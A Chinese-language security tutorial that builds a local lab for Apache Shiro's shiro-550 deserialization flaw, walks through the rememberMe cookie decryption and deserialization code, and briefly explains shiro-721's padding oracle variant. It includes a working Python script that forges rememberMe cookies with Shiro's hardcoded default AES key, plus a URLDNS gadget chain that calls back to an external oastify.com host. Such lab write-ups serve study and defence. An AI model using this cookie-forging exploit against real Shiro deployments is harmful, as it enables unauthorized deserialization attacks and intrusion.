前言

Apache Shiro 是一个强大且易于使用的 Java 安全框架,提供了身份验证、授权、会话管理和加密等安全功能。

Shiro框架在1.2.5之前产生的反序列化漏洞被称为:shiro-550

在1.2.5之后(1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1)的反序列化漏洞被称为:shiro-721

环境配置

本人近几天一直头疼于怎么配置这个shiro550的源码环境,这里我给出详细的步骤,以免后人再踩进我踩过的大坑…

首先,下载p神的shiro源码:

https://github.com/phith0n/JavaThings/

image-20250308162441449

下载好之后用IDEA打开这个shirodemo。

我的JDK版本:8u66,正常来说pom.xml里面是不会爆红的。

接着去配置Tomcat,这个步骤比较简单,网上教程也很多,这里不多赘述,推荐:

IntelliJ IDEA中配置Tomcat(超详细)_intellij idea配置tomcat-CSDN博客

我下载的是9.0.100版本。

在项目中配置

image-20250308163827383

接着来到项目结构的工件这里:

image-20250308163905643

可以看到已经有两个部署好的工件,选择下面这个,点应用。

编辑配置里头新建本地Tomcat:

image-20250308164008459

image-20250308164028242

点击应用后直接运行login.jsp,记得修改下它的端口号。

然后我们点击这里:

image-20250308164359419

即可启动。

image-20250308164415898

漏洞分析

数据包特点

在登录框中我们先简单地抓个包(点击了Remember me):

image-20250308164824611

没点击的包:

image-20250308165108882

相比之下得出结论:

勾选了remember me之后,在返回的数据包上多了Set-Cookie字段,第一个值为deleteMe,第二个像是一串Base64。

1
6nTT7Ep5Grk1dN3I5KgZ1iTjjdZnS2+zSoEcYP69yZ7n+r2mYNzMXMXY1WvN99zuOQlrEsv1uHH9UOuTO0fyQjg0v0rh4RVzw4V4SANKcQSkSsFX7V8CSelOgTmiBX+3goGAsbhFGonZIE0nSlqprPgLsybCTW5hdJf/FbE6hC2g1xnoNHbuJ6Lj+BBgRY4IYmSm7kz2AhvtioQi6k6AsDAayvnZKwQlSIzH8Y4s2lEt6vxndTjQcHIngWQTxGZxjmXnQuOrsu6IeLtlRLpNzYSRw0RtXe3T5SifdcBXs5JC15ljEoRJqkO8GBT/8u1RfUNAXW9+stYrDbxBoQRO5bOZWZq/AHUXkACTiGJsiL17WjGYkT/Ec022fmdiZPGnvrLWeaOQeDXCFfg4IqSCH4tnHzt1kpwncCdSwpEbkbWb9/5/v1ZM3Ejz1j/KQI4Winhwytrz2cZq83CcITV1D1YeUGW4c0kVLPFu8NWVwM8hvxtmIphLYQgKU3xbe8tK

试图解码一下发现并不是base64,下面我们来看看Shiro框架(550版本)的加解密过程。

过程分析

我们先定位到CookieRememberMeManager类:

CookieRememberMeManager类

构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* CookieRememberMeManager 的默认构造方法。
* 该方法初始化了一个默认的 Cookie,用于存储 RememberMe 功能的数据。
*/
public CookieRememberMeManager() {
// 创建一个名为 "rememberMe" 的 Cookie 实例。
Cookie cookie = new SimpleCookie("rememberMe");

// 设置 Cookie 的 HttpOnly 属性为 true。
// 这表示该 Cookie 只能通过 HTTP(S) 协议访问,无法被 JavaScript 操作,从而提高安全性,
// 防止跨站脚本攻击(XSS)读取用户的 Cookie 数据。
cookie.setHttpOnly(true);

// 设置 Cookie 的最大存活时间(MaxAge),单位为秒。
cookie.setMaxAge(31536000);

// 将初始化的 Cookie 对象赋值给当前类的 cookie 属性,供后续使用。
this.cookie = cookie;
}

getRememberedSerializedIdentity()

image-20250308170912989

长话短说:

  1. 先判断是否为 HTTP 请求
  2. 如果是的话,获取 cookie 中 rememberMe 的值
  3. 然后判断是否是 deleteMe,如果存在,则返回null。
  4. 如果不是,则判断是否是符合 base64 的编码长度,然后再对其进行 base64 解码,将解码结果返回。

AbstractRememberMeManager类

现在我们去寻找一下谁会调用CookieRememberMeManager#getRememberedSerializedIdentity()

getRememberedPrincipals()

image-20250308171615315

  1. 首先是将 HTTP Requests 里面的 Cookie 拿出来,赋值给 bytes 数组;
  2. 随后将 bytes 数组的东西进行 convertBytesToPrincipals() 转换成principals(这是什么?)

我们跟进到神秘的convertBytesToPrincipals():

convertBytesToPrincipals()

image-20250308171857004

正常情况下这里调用了decrypt()deserialize()

看看decrypt()

decrypt()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
* 解密方法,用于对加密后的字节数组进行解密操作。
*
* @param encrypted 加密后的字节数组
* @return 解密后的字节数组(即原始的序列化数据)
*/
protected byte[] decrypt(byte[] encrypted) {
// 默认将输入的加密数据赋值给 serialized,防止未使用加密服务时直接返回原始数据。
byte[] serialized = encrypted;

// 获取 CipherService(加密服务)的实例。
// 如果配置了加密服务,则使用该服务进行解密操作。
CipherService cipherService = this.getCipherService();

if (cipherService != null) {
// 调用加密服务的 decrypt 方法对数据进行解密。
// 解密时需要提供加密数据(encrypted)和解密密钥(getDecryptionCipherKey())。
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());

// 将解密后的数据转换为字节数组,赋值给 serialized。
serialized = byteSource.getBytes();
}

// 返回解密后的字节数组(如果未使用加密服务,则返回原始输入数据)。
return serialized;
}

既然有decrypt函数,肯定也有encrypt函数。我们把断点下在encrypt函数:

在单步跟的过程中可以知道encrypt采用的是AES加密:

image-20250308173312190

而且AES的key是一个固定值,写在了本类的源码中:

image-20250308174108474

deserialize()

image-20250308174154461

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 反序列化方法,将字节数组转换为 PrincipalCollection 对象。
*
* @param serializedIdentity 序列化后的字节数组
* @return 反序列化后的 PrincipalCollection 对象
*/
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
// 获取序列化器实例,用于进行反序列化操作。
// this.getSerializer() 方法返回当前对象配置的序列化器实例,通常是一个 Serializer 对象。
return (PrincipalCollection)this.getSerializer().deserialize(serializedIdentity);
}

经过断点调试,deserialize()会调用readObject()

攻击实现

攻击原理

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,又因为加密算法是AES(对称加密),key既能加密也能解密,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

AES加密脚本

根据shiro550的加密流程,编写以下EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

# coding: utf-8
# Author:alasip
# Date :2024/12/9 6:35
# Tool :PyCharm
# 导入所需的库
from Crypto.Cipher import AES
import base64
import uuid
from random import Random


# 获取文件数据
def get_file_data(filename):
with open(filename, 'rb') as f: # 以二进制方式打开文件
data = f.read() # 读取文件内容
return data


# AES 加密函数
def aes_enc(data):
BS = AES.block_size # 获取AES的块大小
# 填充数据至块大小的倍数,采用PKCS7填充
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA==" # 密钥
mode = AES.MODE_CBC # 使用CBC模式
iv = uuid.uuid4().bytes # 生成随机的IV(初始化向量)

# 创建加密器对象
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 加密数据,并将IV与密文拼接,最后进行base64编码
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


# AES 解密函数
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data) # 将密文进行base64解码
# 去除填充的数据
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA==" # 密钥
mode = AES.MODE_CBC # CBC模式
iv = enc_data[:16] # 提取IV(前16个字节)

# 创建解密器对象
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 解密数据并去除填充
plaintext = encryptor.decrypt(enc_data[16:]) # 解密密文(跳过IV部分)
plaintext = unpad(plaintext) # 去掉填充
return plaintext


if __name__ == "__main__":
# 获取文件数据
data = get_file_data("ser.bin")
# 输出加密后的结果
print(aes_enc(data))

攻击演示

URLDNS

URLDNS无需任何依赖,可以直接测试是否触发反序列化漏洞。

我们现在Burpsuite中开启Collaborator模块进行检测,把url丢进下面的URL类构造方法中(具体请见URLDNS篇)

URLDNS链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://hvg4doevb38j9ry06az88kkxtozfn8bx.oastify.com");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
//用反射修改hashCode字段,先使它不为-1
f.setAccessible(true); //它是私有属性
f.set(url, 6); //改成-1,目的是不让它在put的时候直接触发DNS查询

hashmap.put(url, 666); //这个666可以是任何数字,它将作为Value值被存入HashMap对象
f.set(url, -1); //再重新把hashCode修改回来。

serialize(hashmap);

// unserialize("DNS.bin");
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("DNS.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

将生成的DNS.bin放入AES脚本的目录下,执行:

image-20250309203720537

这一大坨存起来。我们进入shiro登录框,先勾选remember me,在登录root/secret,登录成功后,数据包返回了rememberme的字段给我们,这之后访问shiro框架都会带着这个cookie字段,此时可以抓包修改cookie为我们的恶意密文,在服务端进行解密后,又进行了反序列化,导致链子被触发:

image-20250309211054004

image-20250309211104928

shiro-721漏洞

漏洞原理

在shiro1.2.5及以后的版本中,shiro采用的加密方式是AES-CBC,key值是系统随机生成的,但是可以通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。

shiro-721对cookie中rememberMe字段的解析过程:

image-20250310113058530

这种AES会受到Padding Oracle Attack(填充提示攻击),能够利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造RememberMe Cookie值可以实现反序列化漏洞攻击。实质是跟Shiro-550一样的。

Shiro-721漏洞详解及复现_shiro721-CSDN博客